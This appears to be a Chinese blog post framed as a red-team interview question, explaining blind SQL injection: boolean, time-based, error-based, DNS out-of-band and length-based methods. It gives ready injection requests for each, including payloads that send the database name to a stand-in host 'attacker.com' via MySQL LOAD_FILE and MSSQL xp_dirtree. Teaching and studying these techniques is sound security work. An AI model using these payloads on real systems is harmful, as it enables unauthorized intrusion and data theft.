长亭红队技术面试题

最新推荐文章于 2026-05-22 11:20:16 发布

原创最新推荐文章于 2026-05-22 11:20:16 发布 · 1.1k 阅读 ·

大模型引用 1 次

本内容遵循CC 4.0 BY-SA版权协议

代码可运行

原理：通过构造布尔条件（TRUE/FALSE），观察页面响应差异（如内容变化、状态码、元素显隐）。
步骤：

验证漏洞点：
向目标参数附加 ' AND 1=1 -- （真条件）和 ' AND 1=2 -- （假条件），观察响应差异。
```
GET /product?id=1' AND 1=1 -- HTTP/1.1
GET /product?id=1' AND 1=2 -- HTTP/1.1
```
- 若真条件返回正常内容，假条件返回空白/错误，则存在漏洞。
逐字符提取数据：
使用逐位判断（如判断数据库名首字母）：
```
GET /product?id=1' AND SUBSTRING((SELECT DATABASE()),1,1)='a' -- HTTP/1.1
```
- 若页面正常返回，则首字母为 a；否则继续尝试其他字符。

原理：通过触发数据库延时函数（如 SLEEP()），根据响应时间判断条件真假。
步骤：

验证漏洞点：
注入时间延迟函数，观察响应是否延迟：

MySQL：

GET /product?id=1' AND IF(1=1,SLEEP(5),0) -- HTTP/1.1

PostgreSQL：

GET /product?id=1' AND CASE WHEN 1=1 THEN pg_sleep(5) ELSE 0 END -- HTTP/1.1

逐字符提取数据：
结合条件判断与延时函数：
```
GET /product?id=1' AND IF(SUBSTRING((SELECT DATABASE()),1,1)='a', SLEEP(5), 0) -- HTTP/1.1
```
- 若响应延迟，则首字母为 a。

原理：通过触发隐式错误（如除以零），观察页面内容或状态码变化。
步骤：

构造错误条件：
注入可能触发错误的语句：
```
GET /product?id=1' AND (SELECT CASE WHEN 1=1 THEN 1/0 ELSE 1 END) -- HTTP/1.1
```
- 若页面返回空白、500错误或内容异常，则条件为真。

利用错误提取数据：
结合条件判断触发错误：

GET /product?id=1' AND (SELECT CASE WHEN SUBSTRING((SELECT DATABASE()),1,1)='a' THEN 1/0 ELSE 1 END) -- HTTP/1.1

原理：利用数据库函数发起DNS查询，通过域名解析日志泄露数据。
步骤：

构造DNS请求：
注入拼接数据的域名（需控制DNS服务器）：

MySQL（需FILE权限）：

GET /product?id=1' AND LOAD_FILE(CONCAT('\\\\',(SELECT DATABASE()),'.attacker.com\\')) -- HTTP/1.1

Microsoft SQL Server：

GET /product?id=1'; EXEC master..xp_dirtree '\\'+(SELECT DATABASE())+'.attacker.com\' -- HTTP/1.1

原理：通过条件语句控制页面内容长度差异（如返回空结果集）。
步骤：

验证漏洞点：
注入影响结果集的条件：

GET /product?id=1' AND 1=1 -- HTTP/1.1  # 正常长度
GET /product?id=1' AND 1=2 -- HTTP/1.1  # 结果为空，长度变短

逐字符提取数据：
结合条件与内容长度判断：
```
GET /product?id=1' AND (SELECT LENGTH(DATABASE()))=4 -- HTTP/1.1
```
- 若长度匹配，则数据库名长度为4。

标签

#web安全 #测试工具 #渗透测试

分类信息安全与密码学